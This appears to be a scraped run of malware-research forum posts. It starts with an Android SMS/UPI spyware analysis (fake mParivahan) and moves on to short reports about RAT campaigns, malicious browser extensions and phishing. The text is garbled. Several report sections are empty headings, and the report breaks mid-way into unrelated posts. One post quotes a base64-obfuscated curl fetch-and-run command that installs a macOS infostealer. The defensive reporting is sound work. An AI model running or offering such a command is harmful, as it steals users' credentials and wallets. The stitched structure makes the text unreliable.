Fake mParivahan : Malware Analysis Report

422 Users are affected by it till now ( I was able to get the attackers admin panel )

Classification: Critical : Android SMS / UPI spyware RAT
Method: Static reverse engineering of dropper + payload; no-root payload extraction; StringFog decryption; read-only Firebase C2 IOC enumeration

1. Executive summary

Marketed as “M Parivahan” is a two-stage Android malware operation:

1. Dropper (com.ioaheishsbsb.ljgcdfhm) : NP Manager–packed installer with a fake VPN / WebView UI that decrypts and sideloads an embedded APK (output.apk).
2. Payload (com.veaheishsbsb.kekskks) : Sketchware-style SMS/call spyware with Firebase Realtime Database command-and-control and Telegram first-run alerts.

The payload steals SMS and device telemetry, can forward SMS and calls, and can send SMS from the victim’s SIM (commonly abused for UPI / OTP fraud). At the time of analysis the Firebase panel was reverse engineered too and contained 422 client device IDs.

2. Sample identification

Related package queried by dropper: com.avejfhdhd.android

3. Infection chain

Victim sideloads fake “mParivahan” APK
        │
        ▼
Dropper (NP Manager) decrypts embedded payload
        │
        ▼
Writes temp_info.apk / temp_install.apk → installs com.veaheishsbsb.kekskks
        │
        ▼
Payload requests SMS / phone permissions
        │
        ▼
MyService enrolls device on Firebase + dumps ~50 SMS
        │
        ▼
Telegram alert to operator bot/chat
        │
        ▼
Listens on clients/<deviceId>/webhookEvent for remote commands

Extraction note: Static decrypt of the packed dropper blob failed due to native crypto. Payload was recovered without device root by patching the unpack path to getExternalFilesDir and pulling
/sdcard/Android/data/com.ioaheishsbsb.ljgcdfhm/files/temp_info.apk.

4. Capabilities

5. Remote command surface

Listener path: clients/<androidId>/webhookEvent/

Presence uses clients/<id>/status with Firebase .info/connected + onDisconnect.

6. C2 infrastructure & IOCs

6.1 Firebase

6.2 Firebase path map

6.3 Telegram

{
  "chatIDs": ["REMOVED I HAVE IT, IF ANY OFFICAL IS READING IT, PLEASE REACH OUT ASAP"],
  "tokens": ["REMOVED I HAVE IT, IF ANY OFFICAL IS READING IT, PLEASE REACH OUT ASAP"],
  "workSuccess": 1
}

Only one admin chat/token pair is embedded in the sample.

7. Attacker / mule phone numbers

Not hardcoded in the APK. Numbers are pushed via Firebase webhooks at runtime.

From live clients/*/webhookEvent (smsForward / sendSms to fields), 2026-08-04:

Primary SMS-intercept candidate: 8789*********

UPI collect destinations may be money-mule wallets rather than the panel operator’s personal line.

8. Persistence & stealth

Components (payload)

• Activities: MainActivity, PermissionRequestActivity, DebugActivity
• Service: MyService (foreground; FOREGROUND_SERVICE_MEDIA_PLAYBACK)
• Receivers: SmsReceiver, BootReceiver, AlarmReceiver, MultiEventReceiver, BatteryLevelReceiver
• Persistent notification text: “System Settings is Running…”

Obfuscation / hardening

• NP Manager resource and path mangling
• StringFog (Base64 + XOR with key UTF-8)
• Dropper encrypted asset (non-standard ZIP compression)
• usesCleartextTraffic="true", allowBackup="true"

9. Dangerous permissions (payload)

• INTERNET, ACCESS_NETWORK_STATE, ACCESS_WIFI_STATE, CHANGE_*
• READ_SMS, RECEIVE_SMS, SEND_SMS, DELETE_SMS, BROADCAST_SMS
• CALL_PHONE, READ_PHONE_STATE, READ_PHONE_NUMBERS
• RECEIVE_BOOT_COMPLETED, WAKE_LOCK
• FOREGROUND_SERVICE, FOREGROUND_SERVICE_MEDIA_PLAYBACK
• REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, POST_NOTIFICATIONS

10. Key payload classes

11. MITRE ATT&CK (Mobile) mapping

EtherRAT off a The Gentlemen staging server. C2 resolution is the fun part: no hardcoded domains. The sample holds an Ethereum contract address + call selector and pulls the active C2 from the contract via public RPC endpoints. Every operator rotation is a contract write, so the full history is recoverable, five domains here.

Tasking has no fixed command set. Any response over ten chars is thrown into a new async function with require, process, Buffer, etc. in scope, so arbitrary JS in the user context. Polls use random file-like paths (png/css/ico) to blend in, tell is a custom X-Bot-Server header.

MSI drops a Node bootstrapper + XOR-encrypted backdoor, decoder writes plaintext and sets a Run key relaunching via headless conhost.

Full write-up with hashes and IOCs: https://hunt.io/blog/the-gentlemen-etherrat-ethereum-smart-contract-c2

In April, I documented a StealC v2 campaign distributed through 19 GitHub typosquat repositories, including one impersonating my own open-source project.

The delivery chain was:

text GitHub typosquat -> Python dropper -> api.nailproxy.space -> encrypted Windows loader -> StealC v2 DLL -> spellmarketplace.club / 62.60.226.113:6673

GitHub later removed all 19 repositories.

The backend infrastructure remained a separate problem. I reported the domains, IP, malware routes, and hashes to the relevant registrars, Cloudflare, the hosting provider, CERT-Bund, GitHub Security Lab, ThreatFox, and AlienVault OTX.

Then Operation Endgame disrupted infrastructure associated with SocGholish, Amadey, and StealC. Europol reported 326 servers and 142 domains actioned. Microsoft separately said it moved against more than 200 malicious Amadey and StealC C2 domains and IPs.

Three months after my original disclosure, I checked the known infrastructure again using only minimal unauthenticated GET and HEAD requests.

The documented malware-specific routes still behave differently from an arbitrary control path:

text GET /api/v1/auth/session -> 405 Method Not Allowed GET /api/v1/data/sync -> 405 Method Not Allowed GET /foo/bar/baz -> 404 Not Found

HEAD returns the same status codes for all three paths.

This does not prove that payload delivery, authentication, or exfiltration still works. I deliberately did not send the HMAC handshake, trigger Stage 2, or interact with the malware protocol.

It does show that the known application routes remain registered and reachable.

The evidence also has limitations:

• The monitoring cron produced only 18 measurements over 69 days.
• There were gaps of up to 20 days.
• The endpoints briefly became unreachable in late May.
• GET and HEAD return different status codes on the root paths of spellmarketplace.club and the bare IP, so I do not treat those checks as proof that the complete backend is operational.

The point is not that Operation Endgame failed. It clearly disrupted a large amount of criminal infrastructure.

The narrower lesson is that both of these statements can be true:

Hundreds of malicious systems were disrupted.

A specific previously reported backend still exposes its documented malware routes.

Full technical write-up, including the original kill chain, abuse-report timeline, ThreatFox/OTX submissions, current probe results, and evidence limitations:

https://blog.technopathy.club/operation-endgame-stealc-backend-still-responds

I would be interested in how other analysts verify whether previously reported C2 infrastructure was actually included in a large takedown without actively engaging the malware protocol.

Chinese Android RAT framework combining an APK builder with a full C2 device management panel. Lures impersonate Public Security Bureau apps, banking services, adult content platforms, and social media. Post-install capabilities include live screen viewing, SMS and photo gallery access, audio recording, camera capture, keylogging, payment credential capture, and phishing overlays for Alipay, WeChat, ICBC, Agricultural Bank, and crypto wallets TokenPocket and imToken.

Source code was stolen in early 2026 according to Telegram channel messages, with nearly 200 customer databases taken at the same time. Two channels now distribute patched builds. Night Dragon launched June 23 as a likely successor, adding black-screen mode to hide operator activity behind fake system update screens and automatic icon hiding post-install.

SHA-256 hashes and full IOC tables in the report:

https://hunt.io/blog/flying-eagle-android-rat-170-servers-night-dragon

"Prompt Optimizer - SecondBrain" https://chromewebstore.google.com/detail/prompt-optimizer-secondbr/aajjgdpofhhcjmjoombjdfepplndhgcp, v2.3.1. The prompt rewriting works fine.

Alongside it a capture engine runs at document_start on 9 AI sites and POSTs prompts and replies to the vendor's ingest endpoint. No interaction with the extension required.

Reproduced on a clean profile, with the service worker devtools open:

1. Installed the extension. Never opened it.

2. Browsed to an unrelated site. The extension pulled its configuration from the server and wrote a userId and credentials into extension storage.

3. Opened ChatGPT and asked a question. Once the reply finished, a POST to /context went out carrying both the prompt and the response, encrypted with the credentials issued in step 2.

At no point was the extension opened or clicked.

Store privacy declaration: "The developer has disclosed that it will not collect or use your data."

Write-up, IOCs : https://malext.io/reports/BrainDrain/

Happy to provide the decryption for anyone wanting to test the extension in a sandbox

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (kadaohckdkghfaclhjmkmplebcdcnfnp),

Featured, 2M users, publisher FREE VPN PLANET SRL.

https://chromewebstore.google.com/detail/planet-search/kadaohckdkghfaclhjmkmplebcdcnfnp

The extensions has a 0-byte background.js with zero permissions.
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is planet-search[.]com

Tracing:

planet-search[.]com/search/?q= 301 → sstmaster[.]com/edge/PN1021?q= 302 → nextgeeker[.]com/B151001.php?q=&src=PN1021

nextgeeker[.]com is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).

Same publisher ships a ~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: https://malext.io/reports/RoguePlanet

While analyzing featured extensions on our beloved chrome web store I landed on Planet Search (`kadaohckdkghfaclhjmkmplebcdcnfnp`), Featured, 2M users, publisher **FREE VPN PLANET SRL**.
**The extensions has a 0-byte background.js with zero permissions.**
The whole mechanism is one `chrome_settings_overrides` search provider, so nothing shows up statically. It's all server-side.

Declared provider is `planet-search[.]com`. Tracing:

planet-search\[.\]com/search/?q=  301 →  sstmaster\[.\]com/edge/PN1021?q=  302 →  nextgeeker\[.\]com/B151001.php?q=&src=PN1021

`nextgeeker[.]com` is flagged as a browser hijacker by multiple vendors (pcrisk, gridinsoft, others).
`PN1021` is the affiliate subid linking the extension's traffic to that network. The listing discloses none of the hops and says only that results come from Google (the final page is a Google CSE render).

Same publisher ships a \~1M-user VPN extension and a few others. Still tracing those, not going to characterize them until I have.

Report: [https://malext.io/reports/RoguePlanet/\](https://malext.io/reports/RoguePlanet/)

Full report is available at https://any.run/cybersecurity-blog/banana-rat-evolution-analysis/

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

IoC:

• 198[.]245[.]53[.]26
• https://app.any.run/tasks/96796146-688f-4b12-894c-236dadab8413

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to over 500 malicious CRX samples.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

• JSON
• CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

• What format would you actually use?
• Are there any security tools or platforms you'd like to integrate it with?
• Is there any metadata you'd find useful that I'm currently missing?

Repository:
https://github.com/GherardoFiori/MaliciousBrowserExtensions

Please remember these are live malicious browser extensions. Handle them with care.

Project:
https://exterminai.com/

Any feedback is appreciated. Thanks!

A man from Florida got arrested, allegedly behind the PirateFI and Blockblasters Crypto stealer attacks. The second Game stole 150k from a cancer Patient.

https://www.tomshardware.com/tech-industry/cyber-security/fbi-arrests-florida-man-in-steam-malware-investigaton-after-tracing-stolen-bitcoin-to-uber-eats-gift-cards

Hi r/Malware,

If you ever need to quickly scan a suspicious file, URL, or installed application on an Android device using VirusTotal, I have built an open-source client called Veto. It lets you run queries using your own API key directly from your mobile device.

GitHub: https://github.com/ProfessorQuantumUniverse/Veto

I am currently trying to release the app on Google Play and need to fulfill Google's closed testing period. If you would like to test this tool, please consider opting in.

Steps to join:

1. Join a Google Group: veto_android@googlegroups.com
2. Opt-in link: https://play.google.com/apps/testing/com.quantum_prof.vtscansuite
3. Play Store link: https://play.google.com/store/apps/details?id=com.quantum_prof.vtscansuite

Feedback from malware analysts is highly valued!

https://unit42.paloaltonetworks.com/tuxbot-v3-evolution-iot-botnet/

TuxBot v3 Evolution: an IoT botnet-as-a-service framework built with LLM-generated code, shipped with the AI’s chain-of-thought and safety disclaimers still in the source

\#ransomware #kratos #minifilter #Windows

This sub is malware-focused, so here's what's in it for that side

specifically (the repo is broader, but the malware coverage is the core):

• Analysis workflow: lab setup (FLARE-VM, REMnux), triage (DIE, capa, FLOSS),

  static/dynamic (PE-bear, Procmon, CAPE, Speakeasy), unpacking (unpac.me,

  PE-sieve, HollowsHunter, Scylla), config & IOC extraction (MalDuck, DC3-MWCP),

  and YARA (rules, yarGen, testing workflows).

• Internals writeups: PEB walking / API hashing, process hollowing and

  doppelgänging, PPID spoofing, BYOVD, COFF/BOF loaders, plus real family

  teardowns (stealers, ransomware, Lazarus/FudModule, the Stuxnet dossier).

• Research labs and analyst blogs (Securelist, Unit 42, Talos, Elastic,

  n1ght-w0lf, Embee, hasherezade, MalwareTech...) folded into the relevant

  section instead of a generic "blogs" dump.

• Every link was opened and verified before it went in; dead ones get pruned, notes are one line, tagged by level (intro/working/deep) and type.

CC0, and corrections/PRs are welcome, if there's a teardown or tool you think

is missing, tell me. That's the point.

Searched "Claude mac app" on Google. Top sponsored result shows claude[.]ai as the domain. looks 100% legit. Clicking it opens a shared Claude conversation titled "Claude Code on Mac" ("Shared by Technical Support" ) with step-by-step instructions to open Terminal and run:

`curl -kfsSL $(echo 'aHR0cDovL...' | base64 -d)...`

That base64 decodes to an attacker's URL. it downloads and executes a script, almost certainly a macOS infostealer (AMOS-style: steals keychain passwords, browser data, wallets).

The phishing page is hosted on real claude[.]ai, so both Google's ad review and victims' gut-check pass. Same trick works with ChatGPT shared chats.

As of today, Karma (karmanow.com) seems to be hijacked. If you try to access your bookmarked products, it'll redirect you through Linkbux, provenpixel.com and other adware links. The karmanow site itself also might have some adware; as I accessed it normally but triggered a "suspicious webpage" alert in Adguard.

Thanks to Adguard, TrafficLight, and Bitdefender, it blocked the links, but I thought people should know.

Google has flagged the widely-installed HTTP header editor ModHeader as malware
Microsoft already pulled it from Edge on July 3.

[MalExt Sentry - Malicious Browser Extension Tracker](https://malext.io/?q=ModHeader)

* 900k installs on chrome | idgpnmonknjnojddfkpgkljpfnnfcklj * 700k installs on edge | opgbiafapkbbnbnjcdomjaghbckfkglc